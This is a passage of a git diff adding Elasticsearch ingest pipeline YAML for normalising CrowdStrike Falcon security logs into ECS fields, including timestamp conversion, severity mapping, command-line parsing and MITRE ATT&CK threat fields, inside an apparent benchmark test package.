+      ignore_empty_value: true
+  - set:
+      field: user.name
+      tag: set_user_name_from_event_UserName
+      copy_from: crowdstrike.event.UserName
+      ignore_empty_value: true
+
+  # clean up
+  - remove:
+      field:
+        - crowdstrike.event.ContentSha
+        - crowdstrike.event.DataVolume
+        - crowdstrike.event.Description
+        - crowdstrike.event.EgressEventId
+        - crowdstrike.event.FalconHostLink
+        - crowdstrike.event.Filename
+        - crowdstrike.event.Hostname
+        - crowdstrike.event.Name
+        - crowdstrike.event.Platform
+        - crowdstrike.event.Policy
+        - crowdstrike.event.SessionStartTimestamp
+        - crowdstrike.event.SessionEndTimestamp
+        - crowdstrike.event.UserSid
+      tag: remove_custom_duplicate_fields
+      ignore_missing: true
+
+  # error handling
+  - set:
+      field: event.kind
+      tag: set_pipeline_error_into_event_kind
+      value: pipeline_error
+      if: ctx.error?.message != null
+  - append:
+      tag: append_tags_9fe66b2c
+      field: tags
+      value: preserve_original_event
+      allow_duplicates: false
+      if: ctx.error?.message != null
+on_failure:
+  - append:
+      field: error.message
+      value: |-
+        Processor '{{{ _ingest.on_failure_processor_type }}}'
+        {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}'
+        {{{/_ingest.on_failure_processor_tag}}}failed with message '{{{ _ingest.on_failure_message }}}'
+  - set:
+      field: event.kind
+      tag: set_pipeline_error_to_event_kind
+      value: pipeline_error
+  - append:
+      field: tags
+      value: preserve_original_event
+      allow_duplicates: false
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/default.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/default.yml
new file mode 100644
index 0000000000..72bcccbaca
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/default.yml
@@ -0,0 +1,669 @@
+---
+description: Ingest pipeline for normalizing CrowdStrike Falcon logs
+processors:
+  - remove:
+      field:
+        - organization
+        - division
+        - team
+      ignore_missing: true
+      if: ctx.organization instanceof String && ctx.division instanceof String && ctx.team instanceof String
+      tag: remove_agentless_tags
+      description: >-
+        Removes the fields added by Agentless as metadata,
+        as they can collide with ECS fields.
+  - set:
+      tag: set_ecs_version_f5923549
+      field: ecs.version
+      value: '8.17.0'
+  - rename:
+      field: message
+      tag: rename_message_to_event_original
+      target_field: event.original
+      ignore_missing: true
+      description: Renames the original `message` field to `event.original` to store a copy of the original message. The `event.original` field is not touched if the document already has one; it may happen when Logstash sends the document.
+      if: ctx.event?.original == null
+  - remove:
+      field: message
+      tag: remove_message
+      ignore_missing: true
+      description: The `message` field is no longer required if the document has an `event.original` field.
+      if: ctx.event?.original != null
+  - json:
+      field: event.original
+      tag: json_event_original
+      target_field: crowdstrike
+      on_failure:
+        - append:
+            tag: append_error_message_8bb0f55c
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - drop:
+      tag: drop_non_object_crowdstrike
+      description: Drop documents where parsed event.original is not a JSON object (e.g. HTTP status 400). These cannot be meaningfully processed and would cause mapping conflicts.
+      if: ctx.crowdstrike != null && !(ctx.crowdstrike instanceof Map)
+  - remove:
+      tag: remove_981d9741
+      field:
+        - host.name
+      ignore_missing: true
+  - set:
+      tag: set_observer_vendor_c6436b11
+      field: observer.vendor
+      value: Crowdstrike
+  - set:
+      tag: set_observer_product_8aa28b50
+      field: observer.product
+      value: Falcon
+  # Can be both string and int, depending on type, should always be string, field is mapped as keyword
+  - convert:
+      field: crowdstrike.event.IncidentType
+      type: string
+      tag: convert_incident_type
+      ignore_missing: true
+  # Can be both string and int, depending on type, should always be string, field is mapped as keyword
+  - convert:
+      field: crowdstrike.event.PatternId
+      type: string
+      tag: convert_pattern_id
+      ignore_missing: true
+  # Script to convert windows NT timestamp to unix timestamp
+  - script:
+        tag: convert-nt-timestamp-to-unix
+        description: Convert Windows NT timestamps to UNIX timestamps for multiple fields.
+        lang: painless
+        if: ctx.crowdstrike?.event instanceof Map
+        params:
+            values:
+                - 'StartTime'
+                - 'EndTime'
+                - 'ContextTimeStamp'
+                - 'EndTimestamp'
+                - 'IncidentEndTime'
+                - 'IncidentStartTime'
+                - 'ItemPostedTimestamp'
+                - 'MatchedTimestamp'
+                - 'MostRecentActivityTimeStamp'
+                - 'PrecedingActivityTimeStamp'
+                - 'StartTimestamp'
+                - 'UTCTimestamp'
+        # Process to convert LDAP/WIN32 FILETIME to Unix (milliseconds) timestamp.
+        # More details can be found here https://devblogs.microsoft.com/oldnewthing/20030905-02/?p=42653 and here https://www.epochconverter.com/ldap
+        source: |
+            def convertToUnix(def longValue) {
+                if (longValue > 0x0100000000000000L) {
+                    return (longValue / 10000) - 11644473600000L;
+                }
+                return longValue;
+            }
+
+            for (def field : params.values) {
+                def fieldValue = ctx.crowdstrike.event[field];
+                if (fieldValue != null) {
+                    if (fieldValue instanceof long) {
+                         ctx.crowdstrike.event[field] = convertToUnix(fieldValue);
+                    } else if (fieldValue instanceof String) {
+                        if (!fieldValue.contains('.')) {
+                           def timestamp = Long.parseLong(fieldValue);
+                            ctx.crowdstrike.event[field] = convertToUnix(timestamp);
+                        }
+                    }
+                } 
+            }
+  # Handle event Tags, which can be a string or a list of maps.
+  - script:
+      tag: convert-Tags-and-copy-to-tags
+      description: Convert tags from nested type and append to ctx.tags.
+      lang: painless
+      if: ctx.crowdstrike?.event?.Tags != null
+      source: |
+            if (ctx.crowdstrike.event.Tags instanceof List) {
+                for (tag in ctx.crowdstrike.event.Tags) {
+                    if (tag instanceof Map) {
+                      ctx.tags.add(tag["Key"] + ":" + tag["ValueString"]);
+                    }
+                }
+            } else if (ctx.crowdstrike.event.Tags instanceof String) {
+                def values = ctx.crowdstrike.event.Tags.splitOnToken(',');
+                for (value in values) {
+                    ctx.tags.add(value.trim());
+                }
+            }
+  # UTCTimestamp should exist in each event, however on the off-chance it might not be (Like RemoteSession Start/End), then we have to use eventCreation time.
+  - date:
+      field: crowdstrike.event.UTCTimestamp
+      timezone: UTC
+      formats:
+        - UNIX_MS
+      tag: date_utc_timestamp_ms
+      if: 'ctx.crowdstrike?.event?.UTCTimestamp != null && String.valueOf(ctx.crowdstrike.event.UTCTimestamp).length() >= 12'
+  - date:
+      field: crowdstrike.event.UTCTimestamp
+      timezone: UTC
+      formats:
+        - UNIX
+      tag: date_utc_timestamp
+      if: 'ctx.crowdstrike?.event?.UTCTimestamp != null && String.valueOf(ctx.crowdstrike.event.UTCTimestamp).length() <= 11'
+  - date:
+      field: crowdstrike.metadata.eventCreationTime
+      target_field: event.created
+      timezone: UTC
+      formats:
+        - UNIX
+      tag: date_event_creation_time
+      if: 'ctx.crowdstrike?.metadata?.eventCreationTime != null && String.valueOf(ctx.crowdstrike.metadata.eventCreationTime).length() <= 11'
+  - date:
+      field: crowdstrike.metadata.eventCreationTime
+      target_field: event.created
+      timezone: UTC
+      formats:
+        - UNIX_MS
+      tag: date_event_creation_time_ms
+      if: 'ctx.crowdstrike?.metadata?.eventCreationTime != null && String.valueOf(ctx.crowdstrike.metadata.eventCreationTime).length() >= 12'
+  - set:
+      field: '@timestamp'
+      copy_from: event.created
+      tag: copy_timestamp_from_event_created
+      if: ctx.crowdstrike?.event?.UTCTimestamp == null && ctx.event?.created != null
+  # Assign severities to conform to security rules values
+  #
+  # 21 = Low
+  # 47 = Medium
+  # 73 = High
+  # 99 = Critical
+  #
+  # Leave crowdstrike values in place, since they have their own semantics.
+  - script:
+      tag: script_5d52b95d
+      lang: painless
+      if: ctx.crowdstrike?.event?.SeverityName instanceof String
+      source: |-
+        ctx.event = ctx.event ?: [:];
+        String name = ctx.crowdstrike.event.SeverityName;
+        if (name.equalsIgnoreCase("low") || name.equalsIgnoreCase("info") || name.equalsIgnoreCase("informational")) {
+          ctx.event.severity = 21;
+        } else if (name.equalsIgnoreCase("medium")) {
+          ctx.event.severity = 47;
+        } else if (name.equalsIgnoreCase("high")) {
+          ctx.event.severity = 73;
+        } else if (name.equalsIgnoreCase("critical")) {
+          ctx.event.severity = 99;
+        }
+  - script:
+      lang: painless
+      tag: script_remove_null_event
+      if: ctx.crowdstrike?.event instanceof Map
+      params:
+        values:
+          - null
+          - ''
+          - '-'
+          - 'N/A'
+          - 'NA'
+          - 0
+      source: |
+        ctx.crowdstrike.event.entrySet().removeIf(entry -> params.values.contains(entry.getValue()));
+  - script:
+      lang: painless
+      tag: script_remove_null_metadata
+      if: ctx.crowdstrike?.metadata instanceof Map
+      params:
+        values:
+          - null
+          - ''
+          - '-'
+          - 'N/A'
+          - 'NA'
+      source: |
+        ctx.crowdstrike.metadata.entrySet().removeIf(entry -> params.values.contains(entry.getValue()));
+  - script:
+      lang: painless
+      tag: script_enrich_command_line
+      if: ctx.crowdstrike?.event?.CommandLine != null
+      source: |
+        def commandLine = ctx.crowdstrike?.event?.CommandLine;
+        commandLine = commandLine.trim();
+
+        if (commandLine != "") {
+          def args = new ArrayList(Arrays.asList(/ /.split(commandLine)));
+          args.removeIf(arg -> arg == "");
+
+          ctx.process = [
+            'command_line': commandLine,
+            'args': args,
+            'executable': args.get(0)
+          ]
+        }
+
+  - script:
+      lang: painless
+      tag: script_enrich_command_line_parent
+      if: ctx.crowdstrike?.event?.ParentCommandLine != null
+      source: |
+        def parentCommandLine = ctx.crowdstrike?.event?.ParentCommandLine;
+        parentCommandLine = parentCommandLine.trim();
+
+        if (parentCommandLine != "") {
+          def args = new ArrayList(Arrays.asList(/ /.split(parentCommandLine)));
+          args.removeIf(arg -> arg == "");
+          if (ctx.process == null) {
+            ctx.process = new HashMap();
+          }
+          ctx.process.parent = [
+            'command_line': parentCommandLine,
+            'args': args,
+            'executable': args.get(0)
+          ]
+        }
+
+
+  - pipeline:
+      name: '{{ IngestPipeline "customer_ioc_event" }}'
+      tag: pipeline_customer_ioc_event
+      if: ctx.crowdstrike?.metadata?.eventType == "CustomerIOCEvent"
+  - pipeline:
+      name: '{{ IngestPipeline "data_protection_detection_summary" }}'
+      tag: pipeline_data_protection_detection_summary
+      if: ctx.crowdstrike?.metadata?.eventType == "DataProtectionDetectionSummaryEvent"
+  - pipeline:
+      name: '{{ IngestPipeline "detection_summary" }}'
+      tag: pipeline_detection_summary
+      if: ctx.crowdstrike?.metadata?.eventType == "DetectionSummaryEvent"
+  - pipeline:
+      name: '{{ IngestPipeline "epp_detection_summary" }}'
+      tag: pipeline_epp_detection_summary
+      if: ctx.crowdstrike?.metadata?.eventType == "EppDetectionSummaryEvent"
+  - pipeline:
+      name: '{{ IngestPipeline "mobile_detection_summary" }}'
+      tag: pipeline_mobile_detection_summary
+      if: ctx.crowdstrike?.metadata?.eventType == "MobileDetectionSummaryEvent"
+  - pipeline:
+      name: '{{ IngestPipeline "incident_summary" }}'
+      tag: pipeline_incident_summary
+      if: ctx.crowdstrike?.metadata?.eventType == "IncidentSummaryEvent"
+  - pipeline:
+      name: '{{ IngestPipeline "xdr_detection_summary" }}'
+      tag: pipeline_xdr_summary
+      if: ctx.crowdstrike?.metadata?.eventType == "XdrDetectionSummaryEvent"
+  - pipeline:
+      name: '{{ IngestPipeline "ipd_detection_summary" }}'
+      tag: pipeline_ipd_summary
+      if: ctx.crowdstrike?.metadata?.eventType == "IdpDetectionSummaryEvent"
+  - pipeline:
+      name: '{{ IngestPipeline "recon_notification_summary" }}'
+      tag: pipeline_recon_nofitication_summary
+      if: ctx.crowdstrike?.metadata?.eventType == "ReconNotificationSummaryEvent"
+  - pipeline:
+      name: '{{ IngestPipeline "identity_protection_incident" }}'
+      tag: pipeline_identity_protection_incident
+      if: ctx.crowdstrike?.metadata?.eventType == "IdentityProtectionEvent"
+  - pipeline:
+      name: '{{ IngestPipeline "cspm_events" }}'
+      tag: pipeline_cspm_events
+      if: "['CSPMIOAStreamingEvent','CSPMSearchStreamingEvent'].contains(ctx.crowdstrike?.metadata?.eventType)"
+  - pipeline:
+      name: '{{ IngestPipeline "user_activity_audit" }}'
+      tag: pipeline_user_activity_audit
+      if: ctx.crowdstrike?.metadata?.eventType == "UserActivityAuditEvent"
+  - pipeline:
+      name: '{{ IngestPipeline "auth_activity_audit" }}'
+      tag: pipeline_auth_activity_audit
+      if: ctx.crowdstrike?.metadata?.eventType == "AuthActivityAuditEvent"
+  - pipeline:
+      name: '{{ IngestPipeline "firewall_match" }}'
+      tag: pipeline_firewall_match
+      if: ctx.crowdstrike?.metadata?.eventType == "FirewallMatchEvent"
+  - pipeline:
+      name: '{{ IngestPipeline "remote_response_session_start" }}'
+      tag: pipeline_remote_response_session_start
+      if: ctx.crowdstrike?.metadata?.eventType == "RemoteResponseSessionStartEvent"
+  - pipeline:
+      name: '{{ IngestPipeline "remote_response_session_end" }}'
+      tag: pipeline_remote_response_session_end
+      if: ctx.crowdstrike?.metadata?.eventType == "RemoteResponseSessionEndEvent"
+  - pipeline:
+      name: '{{ IngestPipeline "scheduled_report_notification_event" }}'
+      tag: pipeline_scheduled_report_notification_event
+      if: ctx.crowdstrike?.metadata?.eventType == "ScheduledReportNotificationEvent"
+  - set:
+      field: process.entity_id
+      tag: set_process_entity_id
+      value: '{{{process.pid}}}'
+      ignore_empty_value: true
+  - set:
+      field: process.parent.entity_id
+      tag: set_process_parent_entity_id
+      value: '{{{process.parent.pid}}}'
+      ignore_empty_value: true
+  - set:
+      field: user.email
+      copy_from: user.name
+      tag: copy_user_email
+      if: ctx.user?.email == null && ctx.user?.name != null && ctx.user.name.indexOf("@") > 0
+  - append:
+      field: related.user
+      value: '{{{user.name}}}'
+      allow_duplicates: false
+      tag: append_related_user_name
+      if: ctx.user?.name != null && ctx.user?.name != ""
+  - append:
+      field: related.user
+      value: '{{{user.email}}}'
+      allow_duplicates: false
+      tag: append_related_user_email
+      if: ctx.user?.email != null
+  - append:
+      field: related.ip
+      value: '{{{source.ip}}}'
+      allow_duplicates: false
+      tag: append_related_src_ip
+      if: ctx.source?.ip != null && ctx.source?.ip != ""
+  - append:
+      field: related.ip
+      value: '{{{destination.ip}}}'
+      allow_duplicates: false
+      tag: append_related_dst_ip
+      if: ctx.destination?.ip != null && ctx.destination?.ip != ""
+  - append:
+      field: related.hosts
+      value: '{{{host.name}}}'
+      allow_duplicates: false
+      tag: append_related_host
+      if: ctx.host?.name != null && ctx.host?.name != ""
+  - fingerprint:
+      fields:
+        - '@timestamp'
+        - crowdstrike.event.SessionId
+        - crowdstrike.event.DetectId
+        - crowdstrike.event.PID
+        - crowdstrike.event.RuleId
+        - crowdstrike.metadata.eventType
+        - crowdstrike.metadata.customerIDString
+        - crowdstrike.metadata.offset
+      target_field: _id
+      tag: fingerprint
+      ignore_missing: true
+  - geoip:
+      tag: geoip_source_ip_to_source_geo_da2e41b2
+      field: source.ip
+      target_field: source.geo
+      ignore_missing: true
+  - geoip:
+      tag: geoip_source_ip_to_source_as_28d69883
+      database_file: GeoLite2-ASN.mmdb
+      field: source.ip
+      target_field: source.as
+      properties:
+        - asn
+        - organization_name
+      ignore_missing: true
+  - rename:
+      tag: rename_source_as_asn_to_source_as_number_a917047d
+      field: source.as.asn
+      target_field: source.as.number
+      ignore_missing: true
+  - rename:
+      tag: rename_source_as_organization_name_to_source_as_organization_name_f1362d0b
+      field: source.as.organization_name
+      target_field: source.as.organization.name
+      ignore_missing: true
+  - geoip:
+      tag: geoip_destination_ip_to_destination_geo_ab5e2968
+      field: destination.ip
+      target_field: destination.geo
+      ignore_missing: true
+  - geoip:
+      tag: geoip_destination_ip_to_destination_as_8a007787
+      database_file: GeoLite2-ASN.mmdb
+      field: destination.ip
+      target_field: destination.as
+      properties:
+        - asn
+        - organization_name
+      ignore_missing: true
+  - rename:
+      tag: rename_destination_as_asn_to_destination_as_number_3b459fcd
+      field: destination.as.asn
+      target_field: destination.as.number
+      ignore_missing: true
+  - rename:
+      tag: rename_destination_as_organization_name_to_destination_as_organization_name_814bd459
+      field: destination.as.organization_name
+      target_field: destination.as.organization.name
+      ignore_missing: true
+  # If `device.id`` is not already mapped inside respective pipelines using SensorId, use `event.DeviceId` to map it.
+  - set:
+      field: device.id
+      copy_from: crowdstrike.event.DeviceId
+      ignore_empty_value: true
+      tag: rename_event_deviceid
+      if: ctx.device?.id == null
+
+# Threat Fields.
+  - foreach:
+      field: crowdstrike.event.MitreAttack
+      tag: foreach_event_MitreAttack_tactic_name
+      if: ctx.crowdstrike?.event?.MitreAttack instanceof List
+      processor:
+        append:
+          field: threat.tactic.name
+          tag: append_crowdstrike_event_MitreAttack_Tactic_into_threat_tactic_name
+          value: '{{{_ingest._value.Tactic}}}'
+          allow_duplicates: false
+  - foreach:
+      field: crowdstrike.event.MitreAttack
+      tag: foreach_event_MitreAttack_tactic_id
+      if: ctx.crowdstrike?.event?.MitreAttack instanceof List
+      processor:
+        append:
+          field: threat.tactic.id
+          tag: append_crowdstrike_event_MitreAttack_TacticID_into_threat_tactic_id
+          value: '{{{_ingest._value.TacticID}}}'
+          allow_duplicates: false
+  - foreach:
+      field: crowdstrike.event.MitreAttack
+      tag: foreach_event_MitreAttack_technique_name
+      if: ctx.crowdstrike?.event?.MitreAttack instanceof List
+      processor:
+        append:
+          field: threat.technique.name
+          tag: append_crowdstrike_event_MitreAttack_Technique_into_threat_technique_name
+          value: '{{{_ingest._value.Technique}}}'
+          allow_duplicates: false
+  - foreach:
+      field: crowdstrike.event.MitreAttack
+      tag: foreach_event_MitreAttack_technique_id
+      if: ctx.crowdstrike?.event?.MitreAttack instanceof List
+      processor:
+        append:
+          field: threat.technique.id
+          tag: append_crowdstrike_event_MitreAttack_TechniqueID_into_threat_technique_id
+          value: '{{{_ingest._value.TechniqueID}}}'
+          allow_duplicates: false
+  - foreach:
+      field: crowdstrike.event.MitreAttack
+      tag: foreach_event_MitreAttack_pattern_id
+      if: ctx.crowdstrike?.event?.MitreAttack instanceof List
+      processor:
+        convert:
+          field: _ingest._value.PatternID
+          tag: convert_mitre_attack_pattern_id_to_string
+          type: string
+          ignore_missing: true
+          on_failure:
+            - remove:
+                tag: remove_ingest_value_pattern_id
+                field: _ingest._value.PatternID
+            - append:
+                field: error.message
+                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - script:
+      description: Set threat.framework from threat.* fields using prefix matching and preference order.
+      lang: painless
+      tag: script_threat_framework
+      if: ctx.threat != null
+      params:
+        framework_preference:
+          - MITRE ATT&CK
+          - CrowdStrike Falcon Detections Framework
+        framework_cs: 'CrowdStrike Falcon Detections Framework'
+        framework_ma: 'MITRE ATT&CK'
+        falcon_tactic_names:
+          - malware
+          - exploit
+          - post-exploit
+          - machine learning
+          - custom intelligence
+          - falcon overwatch
+          - falcon intel
+          - ai powered ioa
+          - insecure security posture
+      source: |
+        def tid = ctx.threat.tactic?.id;
+        def nid = ctx.threat.technique?.id;
+        def tname = ctx.threat.tactic?.name;
+        if ((tid == null || tid.isEmpty()) && (nid == null || nid.isEmpty()) && (tname == null || tname.isEmpty())) {
+          return;
+        }
+        Set frameworks = new HashSet();
+        // Handling tactics prefixed with "CS" or "TA".
+        if (tid != null && !tid.isEmpty()) {
+          for (String t: tid) {
+            if (t.startsWith("CS")) {
+              frameworks.add(params.framework_cs);
+            }
+            else if (t.startsWith("TA")) {
+              frameworks.add(params.framework_ma);
+            }
+          }
+        }
+        // Handling techniques prefixed with "CS".
+        if (nid != null && !nid.isEmpty()) {
+          for (String t: nid) {
+            if (t.startsWith("CS")) {
+              frameworks.add(params.framework_cs);
+            }
+          }
+        }
+        // Handling falcon specific tactics.
+        if (tname != null && !tname.isEmpty()) {
+          for (String t: tname) {
+            if (params.falcon_tactic_names.contains(t.toLowerCase())) {
+              frameworks.add(params.framework_cs);
+            }
+          }
+        }
+
+        if (frameworks.isEmpty()) {
+          return;
+        }
+        if (frameworks.size() == 1) {
+          ctx.threat.framework = frameworks.iterator().next();
+          return;
+        }
+
+        for (def preferred : params.framework_preference) {
+          if (frameworks.contains(preferred)) {
+            ctx.threat.framework = preferred;
+            return;
+          }
+        }
+
+        // fallback when new frameworks are added and not yet in preference list
+        ctx.threat.framework = frameworks.iterator().next();
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  # This removes any fields that are mapped to ECS, but have not been renamed.
+  # This is to prevent the fields from being duplicated in the event.
+  - remove:
+      tag: remove_6a6abdd1
+      field:
+        - _tmp_
+        - crowdstrike.event.Technique
+        - crowdstrike.event.TechniqueId
+        - crowdstrike.event.Tactic
+        - crowdstrike.event.TacticId
+        - crowdstrike.event.Techniques
+        - crowdstrike.event.TechniqueIds
+        - crowdstrike.event.Tactics
+        - crowdstrike.event.TacticIds
+        - crowdstrike.event.IPv6Addresses
+        - crowdstrike.event.IPv4Addresses
+        - crowdstrike.event.ParentCommandLine
+        - crowdstrike.event.CommandLine
+        - crowdstrike.event.ProcessStartTime
+        - crowdstrike.event.IncidentStartTime
+        - crowdstrike.event.HostNames
+        - crowdstrike.event.DomainNames
+        - crowdstrike.event.Users
+        - crowdstrike.event.SHA256Hashes
+        - crowdstrike.event.MD5Hashes
+        - crowdstrike.event.Author
+        - crowdstrike.event.ProcessEndTime
+        - crowdstrike.event.IncidentEndTime
+        - crowdstrike.metadata.eventCreationTime
+        - crowdstrike.event.UTCTimestamp
+        - crowdstrike.event.ContextTimeStamp
+        - crowdstrike.event.PID
+        - crowdstrike.event.RemotePort
+        - crowdstrike.event.LocalPort
+        - crowdstrike.event.ConnectionDirection
+        - crowdstrike.event.StartTimestamp
+        - crowdstrike.event.StartTimeEpoch
+        - crowdstrike.event.AdditionalAccountDomain
+        - crowdstrike.event.AdditionalAccountName
+        - crowdstrike.event.AdditionalEndpointHostName
+        - crowdstrike.event.AdditionalEndpointIpAddress
+        - crowdstrike.event.AttemptOutcome
+        - crowdstrike.event.EndTimeEpoch
+        - crowdstrike.event.EndTimestamp
+        - crowdstrike.event.EndTime
+        - crowdstrike.event.EventCreatedTimestamp
+        - crowdstrike.event.StartTime
+        - crowdstrike.event.Disposition
+        - crowdstrike.event.MatchedTimestamp
+        - crowdstrike.event.Tags
+        - crowdstrike.event.UserId
+        - crowdstrike.event.UserName
+      ignore_missing: true
+
+  - script:
+      description: This script processor iterates over the whole document to remove fields with null/empty values.
+      tag: remove_nulls
+      source: |-
+        void handleMap(Map map) {
+            map.values().removeIf(v -> {
+            if (v instanceof Map) {
+                handleMap(v);
+            } else if (v instanceof List) {
+                handleList(v);
+            }
+            return v == null || v == '' || (v instanceof Map && v.size() == 0) || (v instanceof List && v.size() == 0)
+            });
+        }
+        void handleList(List list) {
+            list.removeIf(v -> {
+            if (v instanceof Map) {
+                handleMap(v);
+            } else if (v instanceof List) {
+                handleList(v);
+            }
+            return v == null || v == '' || (v instanceof Map && v.size() == 0) || (v instanceof List && v.size() == 0)
+            });
+        }
+        handleMap(ctx);
+
+on_failure:
+  - append:
+      field: error.message
+      value: |-
+        Processor "{{{ _ingest.on_failure_processor_type }}}" with tag "{{{ _ingest.on_failure_processor_tag }}}" in pipeline "{{{ _ingest.on_failure_pipeline }}}" failed with message "{{{ _ingest.on_failure_message }}}"
+  - set:
+      field: event.kind
+      value: pipeline_error
+  - append:
+      field: tags
+      value: preserve_original_event
+      allow_duplicates: false
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/detection_summary.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/detection_summary.yml
new file mode 100644
index 0000000000..13f32b838b
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/detection_summary.yml
@@ -0,0 +1,212 @@
+---
+processors:
+  - set:
+      field: event.kind
+      value: alert
+      tag: set_event_kind
+  - append:
+      field: event.category
+      value: malware
+      tag: append_malware_category
+  - append:
+      field: event.type
+      value: info
+      tag: append_info_type
+  - rename:
+      field: crowdstrike.event.UserName
+      target_field: user.name
+      ignore_missing: true
+      tag: rename_user_name
+  - date:
+      field: crowdstrike.event.ProcessStartTime
+      target_field: process.start
+      timezone: UTC
+      formats:
+        - UNIX_MS
+      tag: date_process_start_time_ms
+      if: 'ctx.crowdstrike?.event?.ProcessStartTime != null && String.valueOf(ctx.crowdstrike.event.ProcessStartTime).length() >= 12'
+  - date:
+      field: crowdstrike.event.ProcessStartTime
+      target_field: process.start
+      timezone: UTC
+      formats:
+        - UNIX
+      tag: date_process_start_time
+      if: 'ctx.crowdstrike?.event?.ProcessStartTime != null && String.valueOf(ctx.crowdstrike.event.ProcessStartTime).length() <= 11'
+  - date:
+      field: crowdstrike.event.ProcessEndTime
+      target_field: process.end
+      timezone: UTC
+      formats:
+        - UNIX_MS
+      tag: date_process_end_time_ms
+      if: 'ctx.crowdstrike?.event?.ProcessEndTime != null && String.valueOf(ctx.crowdstrike.event.ProcessEndTime).length() >= 12'
+  - date:
+      field: crowdstrike.event.ProcessEndTime
+      target_field: process.end
+      timezone: UTC
+      formats:
+        - UNIX
+      tag: date_process_end_time
+      if: 'ctx.crowdstrike?.event?.ProcessEndTime != null && String.valueOf(ctx.crowdstrike.event.ProcessEndTime).length() <= 11'
+  - rename:
+      field: crowdstrike.event.LocalIP
+      target_field: source.ip
+      ignore_missing: true
+      tag: rename_local_ip
+      if: ctx.crowdstrike?.event?.LocalIP != null && ctx.crowdstrike?.event?.LocalIP != ""
+  - rename:
+      field: crowdstrike.event.ProcessId
+      target_field: process.pid
+      ignore_missing: true
+      tag: rename_process_id
+  - split:
+      field: crowdstrike.event.HostGroups
+      separator: ','
+      ignore_missing: true
+      tag: split_host_groups
+  - rename:
+      field: crowdstrike.event.ParentProcessId
+      target_field: process.parent.pid
+      ignore_missing: true
+      tag: rename_parent_process_id
+  - rename:
+      field: crowdstrike.event.ParentImageFileName
+      target_field: process.parent.executable
+      ignore_missing: true
+      tag: rename_parent_image_file_name
+      if: ctx.process?.parent?.executable == null
+  - rename:
+      field: crowdstrike.event.PatternDispositionDescription
+      target_field: event.action
+      ignore_missing: true
+      tag: rename_pattern_disposition_description
+  - rename:
+      field: crowdstrike.event.FalconHostLink
+      target_field: event.reference
+      ignore_missing: true
+      tag: rename_falcon_host_link
+  - rename:
+      field: crowdstrike.event.DetectDescription
+      target_field: message
+      ignore_missing: true
+      tag: rename_detect_description
+  - set:
+      field: rule.description
+      copy_from: message
+      tag: set_rule_description
+      if: ctx.message != null
+  - set:
+      tag: set_process_name_0cc9dd81
+      field: process.name
+      copy_from: crowdstrike.event.FileName
+      ignore_empty_value: true
+  - rename:
+      field: crowdstrike.event.MachineDomain
+      target_field: host.domain
+      ignore_missing: true
+      tag: rename_machine_domain
+  - rename:
+      field: crowdstrike.event.ComputerName
+      target_field: host.name
+      ignore_missing: true
+      tag: rename_computer_name
+  - rename:
+      field: crowdstrike.event.SHA256String
+      target_field: file.hash.sha256
+      ignore_missing: true
+      tag: rename_sha256_string
+  - rename:
+      field: crowdstrike.event.MD5String
+      target_field: file.hash.md5
+      ignore_missing: true
+      tag: rename_md5_string
+  - rename:
+      field: crowdstrike.event.SHA1String
+      target_field: file.hash.sha1
+      ignore_missing: true
+      tag: rename_sha1_string
+  - append:
+      field: related.hash
+      value: "{{{file.hash.sha1}}}"
+      allow_duplicates: false
+      tag: append_sha1_hash
+      if: ctx.file?.hash?.sha1 != null && ctx.file?.hash?.sha1 != ""
+  - append:
+      field: related.hash
+      value: "{{{file.hash.sha256}}}"
+      allow_duplicates: false
+      tag: append_sha256_hash
+      if: ctx.file?.hash?.sha256 != null && ctx.file?.hash?.sha256 != ""
+  - append:
+      field: related.hash
+      value: "{{{file.hash.md5}}}"
+      allow_duplicates: false
+      tag: append_md5_hash
+      if: ctx.file?.hash?.md5 != null && ctx.file?.hash?.md5 != ""
+  - rename:
+      field: crowdstrike.event.FileName
+      target_field: file.name
+      ignore_missing: true
+      tag: rename_file_name
+  - rename:
+      field: crowdstrike.event.FilePath
+      target_field: file.path
+      ignore_missing: true
+      tag: rename_file_path
+  - rename:
+      field: crowdstrike.event.DetectName
+      target_field: rule.name
+      ignore_missing: true
+      tag: rename_detect_name
+  - rename:
+      field: crowdstrike.event.DetectId
+      target_field: rule.id
+      ignore_missing: true
+      tag: rename_detect_id
+  - rename:
+      field: crowdstrike.event.MacAddress
+      target_field: host.mac
+      ignore_missing: true
+      tag: rename_mac_address
+      if: ctx.crowdstrike?.event?.MacAddress != null
+  - uppercase:
+      field: host.mac
+      ignore_missing: true
+      tag: uppercase_mac_address
+      if: ctx.host?.mac != null
+
+# Threat fields: the default pipeline sets threat.framework from the threat.* fields.
+  - append:
+      field: threat.technique.name
+      value: "{{{crowdstrike.event.Technique}}}"
+      tag: append_technique_name
+      if: ctx.crowdstrike?.event?.Technique != null
+  - append:
+      field: threat.technique.id
+      value: "{{{crowdstrike.event.TechniqueId}}}"
+      tag: append_technique_id
+      if: ctx.crowdstrike?.event?.TechniqueId != null
+  - append:
+      field: threat.tactic.name
+      value: "{{{crowdstrike.event.Tactic}}}"
+      tag: append_tactic_name
+      if: ctx.crowdstrike?.event?.Tactic != null
+  - append:
+      field: threat.tactic.id
+      value: "{{{crowdstrike.event.TacticId}}}"
+      tag: append_tactic_id
